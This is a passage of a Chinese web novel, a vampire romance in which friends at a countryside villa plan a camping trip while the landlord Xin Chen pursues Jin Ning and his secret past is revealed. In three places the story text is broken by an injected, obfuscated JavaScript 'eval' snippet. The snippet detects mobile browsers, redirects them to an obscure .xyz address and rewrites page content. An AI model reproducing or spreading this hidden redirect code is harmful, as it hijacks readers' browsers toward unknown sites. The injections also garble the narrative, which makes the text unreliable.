徐长夏把半挡在眼前的手拿了下来，偷偷瞄了一眼，没事了，两人分开了。 “嗯好，谢谢，我自己来端。”徐长夏飞快地跑到厨房，左手盘子，右手杯子。 注意到辛宸投来的冰冷的目光，徐长夏自省，是不是出现的太不是时候。 带着点尴尬，他冲辛宸举了举杯子:“喝羊奶吗？” 辛宸:？ 黎逢一把拽过徐长夏，阻止他乱说话，万一再来一句，听说你小时候喝羊奶长大的，那可真是冒昧了。 黎逢:“坐下坐下！” 吃肉还堵不住你的嘴吗？！ 他把徐长夏按在椅子上，徐长夏回眸瞪他。 黎逢挑眉提醒，姜医生怎么说的来着？少说话，祸从口出。 虽然他也认为，得罪人和做噩梦没什么必然联系。 梦这个东西，说不准，就是纯玄学。 不过，既然他们还没有决定要离开，就不能得罪房东。 更何况房东现在和金宁，好像已经暧昧上了。 徐长夏这次读懂了他的眼神，总之，闭嘴吃饭。 气氛和谐后，金宁瞄了辛宸一眼，突然眼睛就不疼了？ 辛宸的目光投在餐桌上。 金宁做的牛排，很简单，但是他烤了两个圣女果，对半切开，一个盘子里放两半做眼睛，还用黑胡椒酱画了一个微笑的嘴巴。 为那两个人，金宁那么用心，像哄孩子一样。 辛宸抿唇看着那两人，不满的情绪堆积。 他好像没有机会吃金宁做的食物。 他根本不吃人类的食物。 不吃的原因很简单，因为五感过于敏锐，再美味的食物到嘴巴里，都不是原本该有的味道。 辛教授自嘲过，被转化后，闻到人类食物的味道，就像反胃的孕妇闻到了油腻的爆炒猪大肠。 直接生理性厌恶、作呕，想把肠子吐出来。 但是这不影响他嫉妒，嫉妒别人可以尝到金宁做的午餐。 “你们去那个村子了？”辛宸坐到了黎逢的旁边。 那个羊奶和桌子上的膏药，已经明显出卖了他们的行程。 早晨借车时，徐长夏说的是骑车出门转转。 黎逢：“嗯，徐长夏找姜医生买了点膏药。” 徐长夏点头，“我习惯去哪里旅游都带点土特产回去。” 纯粹是为了买土特产，完全没有乱打听。 辛宸的视线在两人脸上一扫而过，两人眼神闪烁的样子，显然不止是买膏药那么简单，他想了一下，问道：“你们最近有什么安排？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544874|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 比如，用上行李里的那堆帐篷睡袋，出去露宿三五天。 他会找理由把金宁留下。 别墅里，就会只剩下他和金宁两个人。 金宁却自觉地把自己放到了“你们”里面，回答道：“明天去钓鱼吧，除此之外，暂时没什么计划。” “原本是打算徒步的，但是现在金宁的脚扭了，就不太方便。”徐长夏说完有点心虚。 金宁笑道：“是你连树林都不敢进了吧。” 徐长夏死不承认，“怎么可能！那只是一个梦，树林里没有黑熊，也没有怪物，我怎么会不敢去？” “那就去徒步吧，还可以在外面露营。树林里很适合露营，只有小型的野生动物，很安全。”辛宸接话。 金宁奇怪地看了他一眼，这人怎么突然热络了起来，甚至帮他们安排起了行程？ 徐长夏不说话了，眼神悠悠朝窗口飘去，那片树林吗？ 梦里他就是在别墅前面那片树林里狂奔。 “湖边还有木屋，晚上不想在野外过夜的话，可以住木屋里。”辛宸加码了。 黎逢是心动的，他很想到处转转拍点素材，野外露营当然更好了。 被羊撅了的视频一夜之间让他的视频号涨了2万粉丝，这天大的流量，如果不更新新的内容，他是接不住的。 “去吗？”黎逢问徐长夏。 徐长夏苦恼，但是骑虎难下了，他抓着刀叉，有点破釜沉舟的架势，“去……吧。” 金宁撑着下巴，说道：“其实你害怕的都是未知恐惧，你去树林里待两天，发现什么都没有，找回安全感，可能恐惧就不攻自破了。” “你说得很对。”徐长夏被说服了，“那今天先休息，准备食物和水，明天我们就出发！” “金宁你能去吗，你的脚能走那么远吗？”黎逢担心地问。 金宁犹豫了一下。 辛宸敛眸，这是个好时机，直接提议让金宁留下。 “放心，不会丢下你的，扛也会把你扛去！”徐长夏拍了拍金宁的肩膀，“扛不动的话，你坐车上，我推着你走。” 金宁忍笑，“那我必须得去。” 辛宸:…… 为什么总是搬起石头砸自己的脚？ 他必须得再争取一下。 “你再休息两天吧，扭伤没那么快好。”辛宸声音淡淡的，也是在提醒金宁，希望他多装两天。 黎逢认同，“你就在别墅休息吧，我们就出去转一圈就回来，最多两三天。等你好了，我们再一起出去。” 金宁的脸上露出明显的失望。 如果真是脚伤没好，或许他也不会这么难受。 好像，又要被丢下了。 21.度假 金宁的失望只暴露了一瞬，很快就收敛了进去，但是勉强微笑的样子还是过于明显了。 他真的不善于隐藏情绪。 辛宸开始自责，放在膝盖上的手握紧了。 金宁就是来度假的，当然更愿意和朋友们一起出去玩。 “骑马去吧。”辛宸说道。 金宁抬眸看他，眼睛亮亮的。 徐长夏点头，对金宁说道:“这样的话，更好诶，我和黎逢骑车，你骑马，在屋主说的那个湖边扎营，然后再去徒步。如果你不方便走，就在‘基地’等我们回来。” 黎逢:“正好白天山伯他们都在附近钓鱼，你也不会无聊。” 金宁还看着辛宸，“嘟嘟可以在外面过夜吗？” “嗯。”辛宸妥协了，但是没有完全妥协，“但是嘟嘟太高了，你自己下马很危险，我陪你们去。” 有理有据，并不刻意。 “会不会太麻烦你了？”金宁有点不好意思了。 “不会，我没什么事情。”辛宸起身，“那就这么说好了，你们吃饭吧，不打扰了，我先回去了。” 黎逢见他起身，赶紧说道：“晚饭的时候，我们一起商量一下？看看要准备什么。” 金宁跟着点头。 辛宸:“好。” 他倒不是想融入这个小群体，但是被拉进好像感觉也不坏。 —— 在辛宸走后，餐桌前气氛热络起来。 徐长夏贱兮兮地问金宁，“我们就走了一上午，你们就按了快进了？直接在厨房亲小嘴儿了？” 金宁脸皮薄，立刻脸红了，“没有！你看错了。他眼睛进东西了，我帮他看了一下。” “好老套哦～”徐长夏更来劲了，“有没有吹吹啊？” 金宁：“没有，不要乱说了好吗？” 确实挺老套的。 黎逢跟着在一边笑，“是的，别乱说了！屋主真挺好的，你们真有点什么，我们也能理解。” 金宁：…… 你还不如不说。 徐长夏点头，“除了眼神吓人，自带阴湿气场，神出鬼没之外……” “也没你说的那么夸张吧！”金宁打断他的话，下意识替辛宸辩驳。 虽然多数时候没什么表情，藏着一堆秘密，有点古怪…… 阴湿？真没到那个程度。 “你看看，我说他不好，你又不乐意了。”徐长夏得逞了，笑道:“我开玩笑的啊，屋主真挺不错的，面冷心热，尤其是对你，真是超出寻常的关心。” 金宁无法反驳，他还没那么迟钝。 “所以，我之前说的，搞搞暧昧的事情，你现在有什么想法？”徐长夏在桌子下面踢了黎逢一脚。 冲啊！27岁还不谈一次恋爱，是想当寡王吗！ 他的朋友不允许当寡王。 黎逢轻轻咳嗽了一声，只说了三个字：“我支持。” 得到徐长夏白眼一枚。 金宁知道今天这波“玩笑”是过不去了，干脆加入玩笑，“你刚才不还说他阴湿？” “阴湿这玩意吧，卡颜卡钱卡身高，屋主都有啊，完美！”徐长夏说着比了个完美表情包的姿势。 金宁无语，“说不过你。” 黎逢笑笑道：“好了好了，顺其自然吧。” 徐长夏叹气，喃喃道：“黎哥，你真是超绝和事佬。” “诶，连我一起喷吗？你是羊驼吗？” 两人吵吵嚷嚷的，金宁在一旁笑得很开心。 偶尔一起度假也挺好的。 —— 辛宸下楼时，把几人的对话听了个大概。 发誓不会再偷听了！ 毕竟越听越困扰—— 搞暧昧他懂，但是“阴湿”？ 有一点他没有骗金宁，他接触的人很少，几乎没有社交。 即使在族群中担任审理人，他的工作内容也仅限于接触各个家族遴选出来的人类，从中挑选出合适的供养者。 随后，各家族会从供养者中挑选自己看中的人类，作为家族新成员，当然也要通过辛宸主理的血蔷薇审理部的审核。 这样的挑选一年一次，为期一个月，定在每年的8月。 他接触的人都很年轻，但是他们的目标明确——获得某个神秘组织的赞助，得到任何他们想要的东西。 所以这些年轻人努力表现得沉稳，展示自己的优势。 对于辛宸来说，全是无效社交。 除此之外，辛宸能接触到的，都是血族中地位很高的家族领主，他们的共同特点就是非常古板，或者非常怪异。 他父亲也是家族领主，在怪异这块无人能及。 而辛教授作为父亲的配偶，更是与众不同，在成为血族之前，是个没什么道德观的疯狂科学家。 所以，辛宸对他们三个说的某些词汇，只有一个大概的感觉——不是什么好话。 他沉默地走到马厩，给嘟嘟送去了之前承诺的苹果，还有糖浆。 没白疼，是匹懂事马。 他摸着嘟嘟的脑袋，想到金宁扑进他怀里的样子，嘴角藏不住笑。 不一样，和在梦里的感觉完全不一样。 即使梦里更为亲密，但是那是脱离现实禁锢产生的更为生理的欲望，没有情感的依托，是虚无的。 不及现实里的一星半点。 这大概就是徐长夏说的暧昧的魅力吧。 明明只是无意的碰触，似有若无，却让他心里发痒。 —— 辛宸等到晚饭后，才去了主别墅客厅。 两位老人已经回来了，晚上照旧是鱼汤，碗筷已经收拾完了，客厅里还残留着晚餐的味道。 客厅的灯是橘黄色的，几人聚在沙发边，像是要参与读书会一样。 山伯、幽叔和金宁坐在沙发上，另外两人坐在茶几对面的地垫上。 “屋主来了？就等你了，坐吧！”徐长夏指了指金宁旁边的沙发扶手。 辛宸冲几人点头，算是打招呼了，非常满意徐长夏的安排，坐到了金宁旁边。 金宁靠在椅背上，身上盖下一片阴影。 徐长夏絮絮叨叨：“我下午想了一下，还是带帐篷吧，既然是露营，当然是住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558284|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在野外更有感觉。” 山伯笑道：“比如拉开拉链，一头黑熊在外面……” 徐长夏翻白眼，这辈子的白眼算是翻完了。 他就不该分享欲过强，把做噩梦的事情告诉山伯。 听山伯玩笑开个不停，才知道他黎哥多么温和，多么善良。 山伯没停下，做了个拉开帐篷拉链的手势，随即声音加粗，傻乎乎地学着黑熊转头，说道：“嗯？开饭了?” 金宁笑出了声，肩膀颤抖着，画面感太强了。 在感觉到辛宸投过来的视线时，他忍笑。 “对了屋主，你那边有麻醉枪吗？”徐长夏问道。 虽然是个玩笑，但是万一呢！ 黎逢大笑，徐长夏还真是异想天开啊。 “有，”辛宸淡淡答道:“我等一下拿给你。” 徐长夏感恩戴德，这淡漠又自然的回答，加上麻醉枪，他立刻获得了巨量的安全感。 真是，让人有安全感的男人啊！ 金宁惊讶地看了辛宸一眼，辛宸依然没什么表情，只是似乎能感知他的目光一样，立刻又转头看向他。 辛宸:“是合法的。” 他没有再解释。 这边林子是一个合法的狩猎场，但是不对外开放，只在8月那一整个月，作为族群团建场地，供血族同伴围猎使用。 虽然他们已经尽量隐藏在人类之中，也学会了韬光养晦。 但是某些嗜血的天性还是需要释放的。 猎杀的除了村子里养殖的羊之外，还有另外散养的野猪之类的大型生物。 都在合法的范围内。 “就是备用，有备无患，不一定用的上，希望用不上。”徐长夏自夸道:“而且我去国外玩的时候，练习过射击的，俄罗斯教官夸我是天生狙击手，当然，我也给了很多小费。总之我枪法很准，不用担心。” 辛宸没质疑，毕竟遇到熊的概率是零，那种保护动物，是不会出现在猎场的。 黎逢将话题拉回来，“帐篷，水，先带两天的食物……” “不要太勉强，迷路的话，就一直往东走，到了大路，沿着大路走，总会找到人烟。”山伯提醒道。 徐长夏摇摇手指，“你听过绝对音感吗，我有绝对方向感，迷路这种事，不会发生在我身上。” 山伯笑他，“话可不能说太满。” 徐长夏不争辩，事实胜于雄辩。 辛宸问金宁：“有什么需要我带的吗？” 金宁摇摇头，突然想到了什么，说道：“你带好防晒的东西就好了，你不是对阳光过敏吗？抗过敏的药管用吗？药箱里好像有氯雷他定。” 辛宸怔了一下，他自己都把这事忘记了，林子里树木遮天蔽日的，漏出的一点光线对他没什么影响。 “我带着吧，药品还是要带的，万一被蜜蜂蛰了……”金宁开始找理由了，不想显得太在意，“还要给嘟嘟带几个苹果吧，他吃得惯外面的草吗？” 徐长夏歪着头看着金宁：朋友，以前倒是没发现，原来你是人妻啊！ 嘟嘟？你们一家三口好和谐啊！ 22.度假 辛宸点头，“吃得惯。” 散养的马，应该也算得上野生动物。 “木屋有床铺吗？要带毯子吗？”金宁继续问辛宸。他很快意识到周围已经没声了，回头一看几人都歪头看着他，他尴尬了一瞬，解释道:“帐篷住不下这么多人吧，而且有屋子可以住……” “没有床。”辛宸回答他。 金宁点头，大概知道要带什么了。 他还是要住木屋，好歹有四堵墙。 他对那个林子也有点犯怵。 黎逢问道:“我们这么多人，是不是要带两个帐篷？” 山伯摇摇手，“我不住山里，太潮湿了，我的关节受不了。” 他特意大声了一点，幽叔跟着点头。 其实是因为木屋塞不下那么多人，而且有别墅不住，干嘛要住那个鬼地方。 “好吧……”徐长夏有点遗憾。 —— 幽叔听着周围朦朦胧胧的声音，看向拿着小本本写写画画的金宁，无奈摇头。 金宁如果是个阳光开朗的孩子，大概他也不会产生这么大的罪恶感。 恰恰，金宁心思细腻敏感，虽然第一次见面时，表现得冷淡疏离。 但是他活了这么大岁数，自然知道，冷漠有时候只是保护色。 金宁就是那样的人，你对他好，他就会对你更好。 他们和金宁在旅途中“偶遇”了三次。 第三次，在古城的街头相遇时，金宁喜出望外，扑过来就拽住了他的胳膊，在他耳边大声说着：“叔，我给你们带了礼物，在包里装了两个月了！我就知道我们一定还会再遇到的！” 结果，他们就这样把这个善良的孩子忽悠进了“狼窝”。 但是辛宸，真的等不了了。 他和山伯是辛宸家族的供养者，被家族领主商止，也就是辛宸的父亲，挑选来当“育儿嫂”。 当时两个刚刚结束10年供养工作的人，拿着巨额报酬，准备开始全球旅行，然后找个慢节奏的、温暖的地方定居。 结果，被薅来养娃。 虽然他们确实有领养孩子的想法。 他们反抗不了，也不想反抗，因为商止给的太多了——十年合约，除了资金外，附赠欧洲10处房产。 他们很难不心动。 于是，他们和辛宸一起生活了7年。 期间商止和辛教授每个月也会来别墅住几天，履行父母义务。 起初，辛宸就是一个普普通通的孩子，一个人类。 据辛教授说，他拥有商止和辛教授两个人的基因，也就是血族和人类的基因。 具体怎么造出来的，辛教授只是不耐烦地说了一句：说了你们也听不懂。 在还是人类时，辛宸的力气就比别人大，反应速度比别人快，三岁就能徒手战黑熊，五岁就会爬到树顶眺望这片树林外的世界。 7岁，辛宸离家出走了。 孩子终究是孩子，会想要伙伴，想要自由，而不是在这方寸之间，跟他们四个无聊的成年人无聊地待着。 他们出去找了很久，最后和辛宸在回程的路上相遇。 孩子本来只是个野孩子，流浪一周后，变得像个脏兮兮的野人。 但是哪里变得不一样了。 在辛教授的追问下，辛宸才终于开口。 听完后，他们惊觉完了。 这倒霉孩子，在外面咬了人，把自己整得血脉觉醒了，问起被咬的人还活着吗，辛宸只是喃喃说不知道。 他和陈山又赶紧去了辛宸说的医院，找寻被咬了的人。 幸好，辛宸记得对方的名字，但是找到时，又过去了两周。 在得知对方还活着时，辛宸却淡淡地回了一句：“我知道。” 辛教授好奇地问他为什么会知道？ 幼年的辛宸说:“因为金宁属于我。” 辛教授觉得孩子中邪了，问他为什么这么说。 辛宸非常肯定地说:“因为父亲咬你的时候，也会说你属于他。你说：是的，我属于你。” 辛教授:你这该死的听力！ 两位旁观者:你们当着孩子面玩什么play了？！ 家族领主商止抬手抵住了额头。 辛教授找回理智，问道：“你之前说不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573199|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，为什么现在又知道了？” 辛宸终于说道:“因为我梦到他，我们在梦境里一起玩。” 两位人类旁观者对视一眼，孩子疯了！ 只有商止反应过来，问道:“你咬了他，喝了他的血，然后你可以梦到他，或者说，进入他的梦境。” 辛宸点头。 辛教授拍脑袋，不仅觉醒了血脉，还觉醒了异能。 商止家族的异能，都和血液有关系。 因为他的觉醒，两位人类只能提前离开，把他交给了两位真正的父亲来抚养。 幽叔和山伯去国外旅居了很多年，但是一直没有放弃联系辛宸。 即使辛宸变得越来越沉默。 某天，辛宸在电话里问道:“我要怎么才能成为一个合格的人类伴侣呢？” 他们很高兴地给他解答。 并且终于，赶在7月之前，将金宁带到了他身边。 现在，那个被咬了的人，正陷在沙发里。 从幽叔的角度看过去，金宁像是依靠在辛宸的身上，不停说着话，脸上挂着内敛的笑意。 辛宸面色温柔，像当初那个天真的孩子。 应该也算是好事吧！ —— 金宁戳了戳幽叔的胳膊，很大声地说道:“幽叔你看！” 他的小本本上画了个四宫格漫画。 幽叔看完了，清瘦的脸上露出微笑，立刻反应过来，原来陈山刚才在表演这个场景，难怪他们笑得那么开心。 四宫格上，依次是—— ①瘦瘦的青年坐在帐篷里哼歌。 ②青年拉开帐篷一角，露出外面黑熊呆愣的脸。 ③黑熊（山伯憨直表情版）:开饭了？ ④青年拉上拉链，假装什么都没发生，实际上全身颤抖。 他给金宁比了个大拇指，画得很形象。 这么多人里，也只有金宁会细心到关心他的感受。 虽然他不太在乎这些。 但是被关心的感觉很好，以至于他又开始陷入自责。 8月，辛宸真的要把一无所知的金宁带去血族纳新集会吗？